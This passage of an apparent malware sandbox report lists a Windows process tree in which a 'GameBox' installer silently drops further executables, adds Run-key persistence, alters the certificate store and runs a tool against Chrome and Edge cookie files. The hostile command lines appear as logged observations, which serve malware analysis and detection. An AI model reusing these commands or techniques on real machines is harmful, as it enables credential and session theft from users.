                                                                                                            • C:\Users\Admin\AppData\Roaming\7240817.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\7240817.exe"
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:2420
                                                                                                          • C:\Users\Admin\Documents\DHT03VW7ZLTtgUIYOK25DI38.exe
                                                                                                            "C:\Users\Admin\Documents\DHT03VW7ZLTtgUIYOK25DI38.exe"
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:2192
                                                                                                            • C:\Users\Admin\Documents\DHT03VW7ZLTtgUIYOK25DI38.exe
                                                                                                              "C:\Users\Admin\Documents\DHT03VW7ZLTtgUIYOK25DI38.exe" -q
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:4656
                                                                                                          • C:\Users\Admin\Documents\6xHX7c236uOGqXkdPJGy0Q2L.exe
                                                                                                            "C:\Users\Admin\Documents\6xHX7c236uOGqXkdPJGy0Q2L.exe"
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:4536
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-GMOP8.tmp\6xHX7c236uOGqXkdPJGy0Q2L.tmp
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-GMOP8.tmp\6xHX7c236uOGqXkdPJGy0Q2L.tmp" /SL5="$3021C,138429,56832,C:\Users\Admin\Documents\6xHX7c236uOGqXkdPJGy0Q2L.exe"
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                              PID:4640
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-0UM5E.tmp\Setup.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-0UM5E.tmp\Setup.exe" /Verysilent
                                                                                                                4⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Drops file in Program Files directory
                                                                                                                PID:4244
                                                                                                                • C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
                                                                                                                  "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
                                                                                                                  5⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Loads dropped DLL
                                                                                                                  • Enumerates connected drives
                                                                                                                  • Modifies system certificate store
                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                  PID:6048
                                                                                                                  • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                    "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628409867 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
                                                                                                                    6⤵
                                                                                                                      PID:6244
                                                                                                                  • C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe
                                                                                                                    "C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe" /quiet SILENT=1 AF=715 BF=715
                                                                                                                    5⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Loads dropped DLL
                                                                                                                    • Enumerates connected drives
                                                                                                                    • Modifies system certificate store
                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                    PID:6088
                                                                                                                    • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628409867 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
                                                                                                                      6⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:4412
                                                                                                                  • C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe
                                                                                                                    "C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe"
                                                                                                                    5⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:6116
                                                                                                                    • C:\Users\Admin\AppData\Roaming\7670801.exe
                                                                                                                      "C:\Users\Admin\AppData\Roaming\7670801.exe"
                                                                                                                      6⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:5476
                                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                                        C:\Windows\system32\WerFault.exe -u -p 5476 -s 2152
                                                                                                                        7⤵
                                                                                                                        • Program crash
                                                                                                                        PID:4676
                                                                                                                    • C:\Users\Admin\AppData\Roaming\5079918.exe
                                                                                                                      "C:\Users\Admin\AppData\Roaming\5079918.exe"
                                                                                                                      6⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Adds Run key to start application
                                                                                                                      PID:5432
                                                                                                                      • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                        7⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:5768
                                                                                                                    • C:\Users\Admin\AppData\Roaming\8814195.exe
                                                                                                                      "C:\Users\Admin\AppData\Roaming\8814195.exe"
                                                                                                                      6⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:3460
                                                                                                                    • C:\Users\Admin\AppData\Roaming\3239509.exe
                                                                                                                      "C:\Users\Admin\AppData\Roaming\3239509.exe"
                                                                                                                      6⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:196
                                                                                                                  • C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe
                                                                                                                    "C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe"
                                                                                                                    5⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:5348
                                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe
                                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe" -a
                                                                                                                      6⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:5192
                                                                                                                  • C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe
                                                                                                                    "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe"
                                                                                                                    5⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:5316
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-RB9O3.tmp\GameBoxWin32.tmp
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-RB9O3.tmp\GameBoxWin32.tmp" /SL5="$40302,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe"
                                                                                                                      6⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Loads dropped DLL
                                                                                                                      PID:5712
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-965RM.tmp\Daldoula.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-965RM.tmp\Daldoula.exe" /S /UID=burnerch2
                                                                                                                        7⤵
                                                                                                                        • Drops file in Drivers directory
                                                                                                                        • Adds Run key to start application
                                                                                                                        • Drops file in Program Files directory
                                                                                                                        PID:6548
                                                                                                                        • C:\Program Files\7-Zip\QLMUWKUZZK\ultramediaburner.exe
                                                                                                                          "C:\Program Files\7-Zip\QLMUWKUZZK\ultramediaburner.exe" /VERYSILENT
                                                                                                                          8⤵
                                                                                                                            PID:5376
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-5155D.tmp\ultramediaburner.tmp
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-5155D.tmp\ultramediaburner.tmp" /SL5="$2028C,281924,62464,C:\Program Files\7-Zip\QLMUWKUZZK\ultramediaburner.exe" /VERYSILENT
                                                                                                                              9⤵
                                                                                                                              • Drops file in Program Files directory
                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                              PID:5524
                                                                                                                              • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                                                                "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                                                                10⤵
                                                                                                                                  PID:6932
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\d4-ac03e-392-56ea4-7858006096e4f\Nalisyqaezhy.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\d4-ac03e-392-56ea4-7858006096e4f\Nalisyqaezhy.exe"
                                                                                                                              8⤵
                                                                                                                                PID:5404
                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                                                                                                                  dw20.exe -x -s 2424
                                                                                                                                  9⤵
                                                                                                                                    PID:7132
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\9d-3aa57-e8a-8828a-666ec01c3618f\Hubivepyxae.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\9d-3aa57-e8a-8828a-666ec01c3618f\Hubivepyxae.exe"
                                                                                                                                  8⤵
                                                                                                                                    PID:6912
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tz1ktwco.pkn\GcleanerEU.exe /eufive & exit
                                                                                                                                      9⤵
                                                                                                                                        PID:5748
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fpbo3dem.u1x\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                        9⤵
                                                                                                                                          PID:3176
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\fpbo3dem.u1x\installer.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\fpbo3dem.u1x\installer.exe /qn CAMPAIGN="654"
                                                                                                                                            10⤵
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            • Enumerates connected drives
                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                            PID:4748
                                                                                                                                            • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                              "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\fpbo3dem.u1x\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\fpbo3dem.u1x\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628409867 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                                              11⤵
                                                                                                                                                PID:5484
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lo2qksuf.mic\ufgaa.exe & exit
                                                                                                                                            9⤵
                                                                                                                                              PID:4212
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\lo2qksuf.mic\ufgaa.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\lo2qksuf.mic\ufgaa.exe
                                                                                                                                                10⤵
                                                                                                                                                  PID:6568
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                    11⤵
                                                                                                                                                      PID:5252
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                      11⤵
                                                                                                                                                        PID:5972
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                        11⤵
                                                                                                                                                          PID:4680
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                          11⤵
                                                                                                                                                            PID:3700
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qzmnhzqg.110\anyname.exe & exit
                                                                                                                                                        9⤵
                                                                                                                                                          PID:2108
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\qzmnhzqg.110\anyname.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\qzmnhzqg.110\anyname.exe
                                                                                                                                                            10⤵
                                                                                                                                                              PID:6348
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\qzmnhzqg.110\anyname.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\qzmnhzqg.110\anyname.exe" -q
                                                                                                                                                                11⤵
                                                                                                                                                                  PID:6112
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3cencl0h.13b\gcleaner.exe /mixfive & exit
                                                                                                                                                              9⤵
                                                                                                                                                                PID:5048
                                                                                                                                                      • C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe
                                                                                                                                                        "C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe"
                                                                                                                                                        5⤵
                                                                                                                                                          PID:5460
                                                                                                                                                        • C:\Program Files (x86)\GameBox INC\GameBox\GameBox32Bit.exe
                                                                                                                                                          "C:\Program Files (x86)\GameBox INC\GameBox\GameBox32Bit.exe"
                                                                                                                                                          5⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:5240
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                            6⤵
                                                                                                                                                              PID:4412
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                              6⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:4888
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                              6⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:5916
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                              6⤵
                                                                                                                                                                PID:6168
                                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                      1⤵
                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                      • Modifies registry class
                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                      PID:868
                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                        2⤵
                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                        • Modifies registry class
                                                                                                                                                        PID:5196
                                                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                      1⤵
                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                      PID:4420
                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                        2⤵
                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                        • Modifies registry class
                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                        PID:3632
                                                                                                                                                    • C:\Windows\system32\msiexec.exe
                                                                                                                                                      C:\Windows\system32\msiexec.exe /V
                                                                                                                                                      1⤵
                                                                                                                                                      • Enumerates connected drives
                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                      • Modifies registry class
                                                                                                                                                      PID:5396
                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding 9E03147252313C2F59766098F3B7F5EA C
                                                                                                                                                        2⤵
                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                        PID:5336
                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding F6DEA438A15E1CB07655326C57A2F51A C
                                                                                                                                                        2⤵
                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                        PID:4528
                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding 8207AFAD3ECDE14D76871AF0C372A201
                                                                                                                                                        2⤵
                                                                                                                                                        • Blocklisted process makes network request
                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                        PID:6724
                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding 30E523D06470E21B5028FD2F8C335A6C C
                                                                                                                                                        2⤵
                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                        PID:5868
                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
                                                                                                                                                        2⤵
                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                        PID:6432
                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=715 -BF=715 -uncf=default
                                                                                                                                                          3⤵
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                          PID:6708
                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--PIJmcZ4D"
                                                                                                                                                            4⤵
                                                                                                                                                            • Checks computer location settings
                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                                            PID:7152
                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                              C:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x1e0,0x1e4,0x1e8,0x1a8,0x1ec,0x7ff828539ec0,0x7ff828539ed0,0x7ff828539ee0
                                                                                                                                                              5⤵
                                                                                                                                                                PID:3396
                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Weather\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1876,3899088412007488833,9019560716240634050,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7152_1610252750" --nwjs --extension-process --enable-auto-reload --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=2 --mojo-platform-channel-handle=2204 /prefetch:1
                                                                                                                                                                5⤵
                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                PID:7024
                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1876,3899088412007488833,9019560716240634050,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7152_1610252750" --mojo-platform-channel-handle=1948 /prefetch:8
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:6232
                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1876,3899088412007488833,9019560716240634050,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7152_1610252750" --mojo-platform-channel-handle=1936 /prefetch:8
                                                                                                                                                                  5⤵
                                                                                                                                                                    PID:4608
                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1876,3899088412007488833,9019560716240634050,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7152_1610252750" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1888 /prefetch:2
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:6268
                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1876,3899088412007488833,9019560716240634050,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7152_1610252750" --mojo-platform-channel-handle=2924 /prefetch:8
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:5356
                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1876,3899088412007488833,9019560716240634050,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7152_1610252750" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=3456 /prefetch:2
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:3224
                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1876,3899088412007488833,9019560716240634050,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7152_1610252750" --mojo-platform-channel-handle=3580 /prefetch:8
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:5544
                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1876,3899088412007488833,9019560716240634050,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7152_1610252750" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3388 /prefetch:2
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:6176
                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1876,3899088412007488833,9019560716240634050,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7152_1610252750" --mojo-platform-channel-handle=3472 /prefetch:8
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:4680
                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1876,3899088412007488833,9019560716240634050,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7152_1610252750" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2300 /prefetch:2
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:6908
                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1876,3899088412007488833,9019560716240634050,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7152_1610252750" --mojo-platform-channel-handle=448 /prefetch:8
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:5464
                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
